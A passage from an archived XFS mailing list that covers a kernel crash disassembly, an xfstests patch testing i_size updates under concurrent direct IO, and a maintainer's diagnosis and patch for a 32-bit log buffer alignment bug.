$0x1,0x4(%esi) 380 ilf->ilf_size = 2; /* format + core */ 0x791ce49b <+134>: movw $0x2,0x2(%esi) 381 xlog_finish_iovec(lv, vecp, sizeof(struct xfs_inode_log_format)); 0x791ce4a1 <+140>: mov -0x10(%ebp),%edi 382 383 if (ip->i_d.di_version == 1) 0x791ce4af <+154>: mov %ecx,%eax 0x791ce4b1 <+156>: movzbl 0x13c(%ecx),%ecx 0x791ce4b8 <+163>: cmp $0x1,%cl 0x791ce4bb <+166>: je 0x791ce5c1 <xfs_inode_item_format+428> 0x791ce4c1 <+172>: mov %cl,-0x18(%ebp) 384 xfs_inode_item_format_v1_inode(ip); 0x791ce5c1 <+428>: mov %edx,%edi 0x791ce5c3 <+430>: call 0x791cdc1e <xfs_inode_item_format_v1_inode> 0x791ce5c8 <+435>: movzbl 0x13c(%edi),%eax 0x791ce5cf <+442>: mov %al,-0x18(%ebp) 0x791ce5d2 <+445>: mov -0x10(%ebp),%edi 0x791ce5d5 <+448>: jmp 0x791ce4c4 <xfs_inode_item_format+175> 385 xlog_copy_iovec(lv, &vecp, XLOG_REG_TYPE_ICORE, 386 &ip->i_d, 0x791ce4dd <+200>: mov -0x14(%ebp),%eax 0x791ce4e0 <+203>: add $0x138,%eax 0x791ce4e5 <+208>: mov %eax,-0x18(%ebp) 387 xfs_icdinode_size(ip->i_d.di_version)); 388 389 xfs_inode_item_format_data_fork(iip, ilf, lv, &vecp); 0x791ce55d <+328>: lea -0x10(%ebp),%edi 0x791ce560 <+331>: mov %edi,(%esp) 0x791ce563 <+334>: mov %ebx,%ecx 0x791ce565 <+336>: mov %esi,%edx 0x791ce567 <+338>: mov -0x1c(%ebp),%eax 0x791ce56a <+341>: call 0x791cdc99 <xfs_inode_item_format_data_fork> 390 if (XFS_IFORK_Q(ip)) { 0x791ce56f <+346>: mov -0x14(%ebp),%eax 0x791ce572 <+349>: cmpb $0x0,0x18a(%eax) 0x791ce579 <+356>: jne 0x791ce597 <xfs_inode_item_format+386> 391 xfs_inode_item_format_attr_fork(iip, ilf, lv, &vecp); 0x791ce597 <+386>: mov %edi,(%esp) 0x791ce59a <+389>: mov %ebx,%ecx 0x791ce59c <+391>: mov %esi,%edx 0x791ce59e <+393>: mov -0x1c(%ebp),%ebx 0x791ce5a1 <+396>: mov %ebx,%eax 0x791ce5a3 <+398>: call 0x791ce09d <xfs_inode_item_format_attr_fork> 0x791ce5a8 <+403>: mov 0x60(%ebx),%eax 392 } else { 393 iip->ili_fields &= 0x791ce57b <+358>: mov -0x1c(%ebp),%ebx 0x791ce57e <+361>: mov 0x60(%ebx),%eax 0x791ce581 <+364>: and $0xfffffe3f,%eax 0x791ce586 <+369>: mov %eax,0x60(%ebx) 394 ~(XFS_ILOG_ADATA | XFS_ILOG_ABROOT | XFS_ILOG_AEXT); 395 } 396 397 /* update the format with the exact fields we actually logged */ 398 ilf->ilf_fields |= (iip->ili_fields & ~XFS_ILOG_TIMESTAMP); 0x791ce589 <+372>: and $0xbf,%ah 0x791ce58c <+375>: or %eax,0x4(%esi) 0x791ce5ab <+406>: and $0xbf,%ah 0x791ce5ae <+409>: or %eax,0x4(%esi) 399 } 0x791ce58f <+378>: add $0x1c,%esp 0x791ce592 <+381>: pop %ebx 0x791ce593 <+382>: pop %esi 0x791ce594 <+383>: pop %edi 0x791ce595 <+384>: pop %ebp 0x791ce596 <+385>: ret 0x791ce5b1 <+412>: add $0x1c,%esp 0x791ce5b4 <+415>: pop %ebx 0x791ce5b5 <+416>: pop %esi 0x791ce5b6 <+417>: pop %edi 0x791ce5b7 <+418>: pop %ebp 0x791ce5b8 <+419>: ret End of assembler dump. crash> quit root@plbearer:/mnt/storage/crashdump# exit Thanks! Michael From gnehzuil.liu@gmail.com Tue Jan 28 03:05:53 2014 Return-Path: <gnehzuil.liu@gmail.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F1EFC7F80 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 03:05:52 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BDE0B8F8066 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 01:05:52 -0800 (PST) X-ASG-Debug-ID: 1390899947-04cbb05baa18ed10001-NocioJ Received: from mail-pd0-f178.google.com (mail-pd0-f178.google.com [209.85.192.178]) by cuda.sgi.com with ESMTP id 0RHDz6s2ym8r6A52 (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 01:05:47 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.178 Received: by mail-pd0-f178.google.com with SMTP id y13so105356pdi.37 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 01:05:46 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id; bh=8RLIOpqoxCuzEYBNNttLtJ/87qsSiUd1RNt6efmMigk=; b=tYN1QAhTC/TxnNjNzjI0x/HwUAXnMiCu5VKg+IofRfduUwPFToAQtHkPl8xyGrLql+ CcBKZbVS3ItxAt74bqnLcJDetewaxpBeTluI44jojaCfHEFE6Q5DLd5DGWasUZYVA63F I//yhg/gh9n1rD/NKXeNig6WagQ8h2LqNhtT7XU3Jsm06XbbV/RGkuVeOxcz/rOCgaXD 79jpnQ0nU1pT7TAw1CJ1/ZIbyMz4tLPxKBc7NDTQR1xjCENmNGbOJIFS1dIeccRpOCEv /U6rfJMKh0rYlaFnf7QZGYQBje4W5OqD5ijbkpJLXzO5GSKaUshXuEu479hRrDEK6QOn PmyA== X-Barracuda-BBL-IP: nil X-Received: by 10.68.202.225 with SMTP id kl1mr439348pbc.54.1390899946267; Tue, 28 Jan 2014 01:05:46 -0800 (PST) Received: from alpha.taobao.ali.com ([182.92.253.3]) by mx.google.com with ESMTPSA id vf7sm40234042pbc.5.2014.01.28.01.05.43 for <multiple recipients> (version=TLSv1 cipher=RC4-SHA bits=128/128); Tue, 28 Jan 2014 01:05:45 -0800 (PST) From: Zheng Liu <gnehzuil.liu@gmail.com> X-Barracuda-Apparent-Source-IP: 182.92.253.3 To: xfs@oss.sgi.com Cc: Christoph Hellwig <hch@infradead.org>, Rich Johnston <rjohnston@sgi.com>, Dave Chinner <david@fromorbit.com>, Zheng Liu <wenqing.lz@taobao.com> Subject: [PATCH v3] xfstests: add a new test case to test i_size updated properly under dio Date: Tue, 28 Jan 2014 17:10:17 +0800 X-ASG-Orig-Subj: [PATCH v3] xfstests: add a new test case to test i_size updated properly under dio Message-Id: <1390900217-6967-1-git-send-email-wenqing.lz@taobao.com> X-Mailer: git-send-email 1.7.9.7 X-Barracuda-Connect: mail-pd0-f178.google.com[209.85.192.178] X-Barracuda-Start-Time: 1390899947 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144556 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Zheng Liu <wenqing.lz@taobao.com> In this commit a new test case is added to test that i_size is updated properly under dio reads/writes. We add a program in /src dir, which has a writer to issue some append dio writes. Meanwhile it has a reader in this test to do some dio reads. As we expect, reader should read nothing or data with 'a'. But it might read some data with '0'. The bug can be reproduced by this test case [1]. 1. http://patchwork.ozlabs.org/patch/311761/ Cc: Christoph Hellwig <hch@infradead.org> Cc: Rich Johnston <rjohnston@sgi.com> Cc: Dave Chinner <david@fromorbit.com> Signed-off-by: Zheng Liu <wenqing.lz@taobao.com> --- changelog v3: * rebase against latest xfstests/master branch * update commit log changelog v2: * add '-lpthread' into LLDLIBS aclocal.m4 | 1 + configure.ac | 1 + include/builddefs.in | 1 + src/Makefile | 4 +- src/diotest.c | 166 +++++++++++++++++++++++++++++++++++++++++++++++++ tests/generic/323 | 56 +++++++++++++++++ tests/generic/323.out | 1 + tests/generic/group | 1 + 8 files changed, 229 insertions(+), 2 deletions(-) create mode 100644 src/diotest.c create mode 100755 tests/generic/323 create mode 100644 tests/generic/323.out diff --git a/aclocal.m4 b/aclocal.m4 index f3412e1..89bb816 100644 --- a/aclocal.m4 +++ b/aclocal.m4 @@ -44,6 +44,7 @@ m4_include([m4/package_attrdev.m4]) m4_include([m4/package_dmapidev.m4]) m4_include([m4/package_gdbmdev.m4]) m4_include([m4/package_globals.m4]) +m4_include([m4/package_pthread.m4]) m4_include([m4/package_ssldev.m4]) m4_include([m4/package_utilies.m4]) m4_include([m4/package_uuiddev.m4]) diff --git a/configure.ac b/configure.ac index bd48fd9..5eba21a 100644 --- a/configure.ac +++ b/configure.ac @@ -62,6 +62,7 @@ in AC_PACKAGE_NEED_SYS_ACL_H AC_PACKAGE_NEED_ACL_LIBACL_H AC_PACKAGE_NEED_ACLINIT_LIBACL + AC_PACKAGE_NEED_PTHREADMUTEXINIT AC_PACKAGE_WANT_GDBM AC_PACKAGE_WANT_AIO diff --git a/include/builddefs.in b/include/builddefs.in index 24f838f..d612ac1 100644 --- a/include/builddefs.in +++ b/include/builddefs.in @@ -23,6 +23,7 @@ LIBGDBM = @libgdbm@ LIBUUID = @libuuid@ LIBHANDLE = @libhdl@ LIBDM = @libdm@ +LIBPTHREAD = @libpthread@ LIBTEST = $(TOPDIR)/lib/libtest.la PKG_NAME = @pkg_name@ diff --git a/src/Makefile b/src/Makefile index 84c8297..f0fa9b9 100644 --- a/src/Makefile +++ b/src/Makefile @@ -18,11 +18,11 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \ locktest unwritten_mmap bulkstat_unlink_test t_stripealign \ bulkstat_unlink_test_modified t_dir_offset t_futimens t_immutable \ stale_handle pwrite_mmap_blocked t_dir_offset2 seek_sanity_test \ - seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec + seek_copy_test t_readdir_1 t_readdir_2 fsync-tester nsexec diotest SUBDIRS = -LLDLIBS = $(LIBATTR) $(LIBHANDLE) $(LIBACL) +LLDLIBS = $(LIBATTR) $(LIBHANDLE) $(LIBACL) $(LIBPTHREAD) ifeq ($(HAVE_XLOG_ASSIGN_LSN), true) LINUX_TARGETS += loggen diff --git a/src/diotest.c b/src/diotest.c new file mode 100644 index 0000000..7d2378f --- /dev/null +++ b/src/diotest.c @@ -0,0 +1,166 @@ +/* + * Copyright (c) 2013 Alibaba Group. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ + +/* + * This is a normal case that we do some append dio writes and meanwhile + * we do some dio reads. Currently in vfs we don't ensure that i_size + * is updated properly. Hence the reader will read some data with '0'. + * But we expect that the reader should read nothing or data with 'a'. + */ + +#include <stdio.h> +#include <stdlib.h> +#include <string.h> + +#include <unistd.h> +#include <sys/types.h> +#include <sys/stat.h> +#include <fcntl.h> +#include <errno.h> + +#include <pthread.h> + +static char *prog; + +struct writer_data { + int fd; + size_t blksize; + char *buf; +}; + +static void usage(void) +{ + fprintf(stderr, "usage: %s [FILE]\n", prog); +} + +static void *writer(void *arg) +{ + struct writer_data *data = (struct writer_data *)arg; + int ret; + + ret = write(data->fd, data->buf, data->blksize); + if (ret < 0) + fprintf(stderr, "write file failed: %s\n", strerror(errno)); + + return NULL; +} + +int main(int argc, char *argv[]) +{ + pthread_t tid; + struct writer_data wdata; + size_t max_blocks = 128; /* 128 */ + size_t blksize = 1 * 1024 * 1024; /* 1M */ + char *rbuf = NULL, *wbuf = NULL; + int rfd = 0, wfd = 0; + int i, j; + int ret = 0; + + prog = basename(argv[0]); + + if (argc != 2) { + usage(); + exit(1); + } + + wfd = open(argv[1], O_CREAT|O_DIRECT|O_WRONLY|O_APPEND|O_TRUNC, S_IRWXU); + if (wfd < 0) { + fprintf(stderr, "failed to open write file: %s\n", + strerror(errno)); + exit(1); + } + + rfd = open(argv[1], O_DIRECT|O_RDONLY, S_IRWXU); + if (wfd < 0) { + fprintf(stderr, "failed to open read file: %s\n", + strerror(errno)); + ret = 1; + goto err; + } + + /* + * We set 1024 as an alignment size for write buf. Feel free to change + * it with 4096. But the problem is also hitted. + */ + if (posix_memalign((void **)&wbuf, 1024, blksize)) { + fprintf(stderr, "failed to alloc memory: %s\n", strerror(errno)); + ret = 1; + goto err; + } + + if (posix_memalign((void **)&rbuf, 4096, blksize)) { + fprintf(stderr, "failed to alloc memory: %s\n", strerror(errno)); + ret = 1; + goto err; + } + + memset(wbuf, 'a', blksize); + wdata.fd = wfd; + wdata.blksize = blksize; + wdata.buf = wbuf; + + for (i = 0; i < max_blocks; i++) { + void *retval; + + if (pthread_create(&tid, NULL, writer, &wdata)) { + fprintf(stderr, "create thread failed: %s\n", + strerror(errno)); + ret = 1; + goto err; + } + + memset(rbuf, 'b', blksize); + do { + ret = pread(rfd, rbuf, blksize, i * blksize); + if (ret < 0) + fprintf(stderr, "read file failed: %s\n", + strerror(errno)); + } while (ret <= 0); + + if (pthread_join(tid, &retval)) { + fprintf(stderr, " pthread join failed: %s\n", + strerror(errno)); + ret = 1; + goto err; + } + + if (ret >= 0) { + for (j = 0; j < ret; j ++) { + if (rbuf[j] != 'a') { + fprintf(stderr, "encounter an error: " + "offset %d content %c\n", + i, rbuf[j]); + ret = 1; + goto err; + } + } + } + } + +err: + if (rfd) + close(rfd); + if (wfd) + close(wfd); + if (rbuf) + free(rbuf); + if (wbuf) + free(wbuf); + + return ret; +} diff --git a/tests/generic/323 b/tests/generic/323 new file mode 100755 index 0000000..e4783d7 --- /dev/null +++ b/tests/generic/323 @@ -0,0 +1,56 @@ +#! /bin/bash +# FS QA Test No. 323 +# +# Test i_size is updated properly under dio read/write +# +#----------------------------------------------------------------------- +# Copyright (c) 2013 Alibaba Group. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +here=`pwd` +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + cd / + rm -f $tmp.* $testfile +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs generic +_supported_os Linux + +testfile=$TEST_DIR/$seq.$$ + +[ -x $here/src/diotest ] || _notrun "diotest not built" + +$here/src/diotest $testfile > $seqres.full 2>&1 || + _fail "i_size isn't update properly!" + +# success, all done +status=0 +exit diff --git a/tests/generic/323.out b/tests/generic/323.out new file mode 100644 index 0000000..d5318f5 --- /dev/null +++ b/tests/generic/323.out @@ -0,0 +1 @@ +QA output created by 323 diff --git a/tests/generic/group b/tests/generic/group index f492461..710a3d4 100644 --- a/tests/generic/group +++ b/tests/generic/group @@ -125,3 +125,4 @@ 320 auto rw 321 auto quick metadata log 322 auto quick metadata log +323 auto rw quick -- 1.7.9.7 From david@fromorbit.com Tue Jan 28 03:56:09 2014 Return-Path: <david@fromorbit.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BB8A47F82 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 03:56:09 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 441DEAC003 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 01:56:06 -0800 (PST) X-ASG-Debug-ID: 1390902963-04cbb05bab1911f0001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 6AiuNOyNFcbueLvv for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 01:56:03 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjMKANF951J5LGaB/2dsb2JhbABagwyDObRahVCBERd0giUBAQEDAScTHCMFCwgDFQMJDBkPBSUDIROHfQfJXhcWjX1sBwqELgSIXI9LkiCDQSiBNQ Received: from ppp121-44-102-129.lns20.syd6.internode.on.net (HELO dastard) ([121.44.102.129]) by ipmail07.adl2.internode.on.net with ESMTP; 28 Jan 2014 20:26:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from <david@fromorbit.com>) id 1W85Oh-0000Fq-T2; Tue, 28 Jan 2014 20:55:59 +1100 Date: Tue, 28 Jan 2014 20:55:59 +1100 From: Dave Chinner <david@fromorbit.com> To: "Michael L. Semon" <mlsemon35@gmail.com> Cc: xfs-oss <xfs@oss.sgi.com> Subject: Re: [NOISE] merge window blues, XFS broken Message-ID: <20140128095559.GJ2212@dastard> X-ASG-Orig-Subj: Re: [NOISE] merge window blues, XFS broken References: <52E56386.5040802@gmail.com> <20140127015614.GD2212@dastard> <52E62ADA.2040800@gmail.com> <20140127233039.GF2212@dastard> <52E768CF.5040908@gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <52E768CF.5040908@gmail.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1390902963 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144557 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header On Tue, Jan 28, 2014 at 03:22:39AM -0500, Michael L. Semon wrote: > On 01/27/2014 06:30 PM, Dave Chinner wrote: > > On Mon, Jan 27, 2014 at 04:46:02AM -0500, Michael L. Semon wrote: > >> root@plbearer:~# ls $TEST_DIR/ > >> > >> [ 94.140207] XFS: Assertion failed: IS_ALIGNED((unsigned long)vec->i_addr, sizeof(uint64_t)), file: fs/xfs/xfs_log.h, line: 49 > >> > >> Entering kdb (current=0xc5298c30, pid 297) Oops: (null) > >> due to oops @ 0x791752c5 > >> CPU: 0 PID: 297 Comm: ls Not tainted 3.13.0+ #1 > >> Hardware name: Dell Computer Corporation Dimension 2350/07W080, BIOS A01 12/17/2002 > >> task: c5298c30 ti: c520e000 task.ti: c520e000 > >> EIP: 0060:[<791752c5>] EFLAGS: 00010286 CPU: 0 > >> EIP is at assfail+0x2b/0x2d > >> EAX: 00000071 EBX: c60ba600 ECX: 00000296 EDX: c5299098 > >> ESI: c60ba61c EDI: c60ba600 EBP: c520fe40 ESP: c520fe2c > >> DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 > >> CR0: 80050033 CR2: 08f1612c CR3: 4d1f0000 CR4: 000007d0 > >> Stack: > >> 00000000 79570bc8 79576e28 7956946d 00000031 c520fe70 791ce45f c520fe70 > >> 7917ceb0 c520fec4 c50d5068 c520fe70 c55d8000 00000000 c50d5068 c607ae30 > >> c60ba600 c520fed4 791cb72b c607af80 c6c01e80 000000d8 c4294000 c520feec > >> Call Trace: > >> [<791ce45f>] xfs_inode_item_format+0x4a/0x1c5 > > > > It's not clear to me that there's anything wrong with the inode log > > item structure, so I need to know what iovec we tripped over here. > > Can you post the disassembly of this function so we can see which > > call to xlog_prepare_iovec tripped the assert? i.e.: ..... > OK, I had to generate a new crash for this, so pardon the dust: Actually, you don't ned to crash a kernel to do this. Just run 'gdb vmlinux' from your build directory.... > crash> gdb disass /m xfs_inode_item_format > Dump of assembler code for function xfs_inode_item_format: > 367 { > 0x791ce415 <+0>: push %ebp > 0x791ce416 <+1>: mov %esp,%ebp > 0x791ce418 <+3>: push %edi > 0x791ce419 <+4>: push %esi > 0x791ce41a <+5>: push %ebx > 0x791ce41b <+6>: sub $0x1c,%esp > 0x791ce41e <+9>: lea %ds:0x0(%esi,%eiz,1),%esi > 0x791ce423 <+14>: mov %eax,-0x1c(%ebp) > 0x791ce426 <+17>: mov %edx,%ebx > > 368 struct xfs_inode_log_item *iip = INODE_ITEM(lip); > 369 struct xfs_inode *ip = iip->ili_inode; > 0x791ce428 <+19>: mov 0x44(%eax),%eax > 0x791ce42b <+22>: mov %eax,-0x14(%ebp) > > 370 struct xfs_inode_log_format *ilf; > 371 struct xfs_log_iovec *vecp = NULL; > 0x791ce42e <+25>: movl $0x0,-0x10(%ebp) > > 372 > 373 ilf = xlog_prepare_iovec(lv, &vecp, XLOG_REG_TYPE_IFORMAT); > 374 ilf->ilf_type = XFS_LI_INODE; > 0x791ce464 <+79>: movw $0x123b,(%esi) Ok, so xfs_inode_item_format+0x4a is inside the very first call to preapre the ilf structure. That tells us that the initial xfs_log_vec/xfs_log_iovec array are resulting in an unaligned buffer. Can you try the patch below, Michael? Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: ensure correct log item buffer alignment From: Dave Chinner <dchinner@redhat.com> On 32 bit platforms, the log item vector headers are not 64 bit aligned or sized. hence if we don't take care to align them correctly or pad the buffer appropriately for 8 byte alignment, we can end up with alignment issues when accessing the user buffer directly as a structure. To solve this, simply pad the buffer headers to 64 bit offset so that the data section is always 8 byte aligned. Signed-off-by: Dave Chinner <dchinner@redhat.com> --- fs/xfs/xfs_log_cil.c | 19 +++++++++++++++---- 1 file changed, 15 insertions(+), 4 deletions(-) diff --git a/fs/xfs/xfs_log_cil.c b/fs/xfs/xfs_log_cil.c index cdebd83..4ef6fdb 100644 --- a/fs/xfs/xfs_log_cil.c +++ b/fs/xfs/xfs_log_cil.c @@ -205,16 +205,25 @@ xlog_cil_insert_format_items( /* * We 64-bit align the length of each iovec so that the start * of the next one is naturally aligned. We'll need to - * account for that slack space here. + * account for that slack space here. Then round nbytes up + * to 64-bit alignment so that the initial buffer alignment is + * easy to calculate and verify. */ nbytes += niovecs * sizeof(uint64_t); + nbytes = round_up(nbytes, sizeof(uint64_t)); /* grab the old item if it exists for reservation accounting */ old_lv = lip->li_lv; - /* calc buffer size */ - buf_size = sizeof(struct xfs_log_vec) + nbytes + - niovecs * sizeof(struct xfs_log_iovec); + /* + * The data buffer needs to start 64-bit aligned, so round up + * that space to ensure we can align it appropriately and not + * overrun the buffer. + */ + buf_size = nbytes + + round_up((sizeof(struct xfs_log_vec) + + niovecs * sizeof(struct xfs_log_iovec)), + sizeof(uint64_t)); /* compare to existing item size */ if (lip->li_lv && buf_size <= lip->li_lv->lv_size) { @@ -251,6 +260,8 @@ xlog_cil_insert_format_items( /* The allocated data region lies beyond the iovec region */ lv->lv_buf_len = 0; lv->lv_buf = (char *)lv + buf_size - nbytes; + ASSERT(IS_ALIGNED((unsigned long)lv->lv_buf, sizeof(uint64_t))); + lip->li_ops->iop_format(lip, lv); insert: ASSERT(lv->lv_buf_len <= nbytes); From prvs=7105c7d705=jbacik@fb.com Tue Jan 28 07:56:40 2014 Return-Path: <prvs=7105c7d705=jbacik@fb.com> X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4773F7F84 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 07:56:40 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EDEDAAC011 for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 05:56:39 -0800 (PST) X-ASG-Debug-ID: 1390917395-04bdf030e91b84a0001-NocioJ Received: from mx0b-00082601.pphosted.com (mx0b-00082601.pphosted.com [67.231.153.30]) by cuda.sgi.com with ESMTP id rqUmB6KZt1c6UfhF for <xfs@oss.sgi.com>; Tue, 28 Jan 2014 05:56:35 -0800 (PST) X-Barracuda-Envelope-From: prvs=7105c7d705=jbacik@fb.com X-Barracuda-Apparent-Source-IP: 67.231.153.30 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] Received: from pps.filterd (m0004060 [127.0.0.1]) by mx0b-00082601.pphosted.com (8.14.5/8.14.5) with SMTP id s0SDuXHp004217; Tue, 28 Jan 2014 05:56:33 -0800 X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] X-Barracuda-IPDD: Level2 [fb.com/67.231.153.30] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=fb.com; h=message-id : date : from : mime-version : to : cc : subject : references : in-reply-to : content-type : content-transfer-encoding; s=facebook; bh=wTTWVnywIvMgPCEVYEKb1U4UaPpdAD68/wxA4jVw27w=; b=HmOX0/H6uhoLKv7LMNQvZA38TuHnfYyrl5cjnI1kkhCq1XaJ7BnjEs0tf5zGaAUaQ2ge UL5UURiu+y4w276/BtQf1Ao99DFihA13CAwCUk5Bmml4bGeLcYNCPG6e2QC+lwy9eUh5 0KERCbG3YKGS7TI2nXoL6oO3DF43f7rxVCM= Received: from mail.thefacebook.com (mailwest.thefacebook.com [173.252.71.148]) by mx0b-00082601.pphosted.com with ESMTP id 1hp4behcgc-1 (version=TLSv1/SSLv3 cipher=AES128-SHA bits=128 verify=OK); Tue, 28 Jan 2014 05:56:32 -0800 Received: from localhost.localdomain (192.168.57.29) by mail.TheFacebook.com (192.168.16.17) with Microsoft SMTP Server (TLS) id 14.3.174.1; Tue, 28 Jan 2014 05:56:27 -0800 Message-ID: <52E7B707.4070707@fb.com> Date: Tue, 28 Jan 2014 08:56:23 -0500 From: Josef Bacik <jbacik@fb.com> User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Filipe David Borba Manana <fdmanana@gmail.com>, <xfs@oss.sgi.com> CC: <linux-btrfs@vger.kernel.org> Subject: Re: [PATCH] xfstests: add test for btrfs incremental send data corruption References: <1390873242-8723-1-git-send-email-fdmanana@gmail.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: add test for btrfs incremental send data corruption In-Reply-To: <1390873242-8723-1-git-send-email-fdmanana@gmail.com> Content-Type: text/plain; charset="ISO-8859-1"; format=flowed Content-Transfer-Encoding: 7bit X-Originating-IP: [192.168.57.29] X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10432:5.11.87,1.0.14,0.0.0000 definitions=2014-01-28_05:2014-01-28,2014-01-28,1970-01-01 signatures=0 X-Proofpoint-Spam-Details: rule=fb_default_notspam policy=fb_default score=0 kscore.is_bulkscore=1.16379128556332e-12 kscore.compositescore=0 circleOfTrustscore=834.433483666948 compositescore=0.533125042697551 urlsuspect_oldscore=0.533125042697551 suspectscore=0 recipient_domain_to_sender_totalscore=0 phishscore=0 bulkscore=0 kscore.is_spamscore=0 recipient_to_sender_totalscore=0 recipient_domain_to_sender_domain_totalscore=1996008 rbsscore=0.533125042697551 spamscore=0 recipient_to_sender_domain_totalscore=0 urlsuspectscore=0.9 adultscore=0 classifier=spam adjust=0 reason=mlx scancount=1 engine=7.0.1-1305240000 definitions=main-1401280059 X-FB-Internal: deliver X-Barracuda-Connect: mx0b-00082601.pphosted.com[67.231.153.30] X-Barracuda-Start-Time: 1390917395 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by 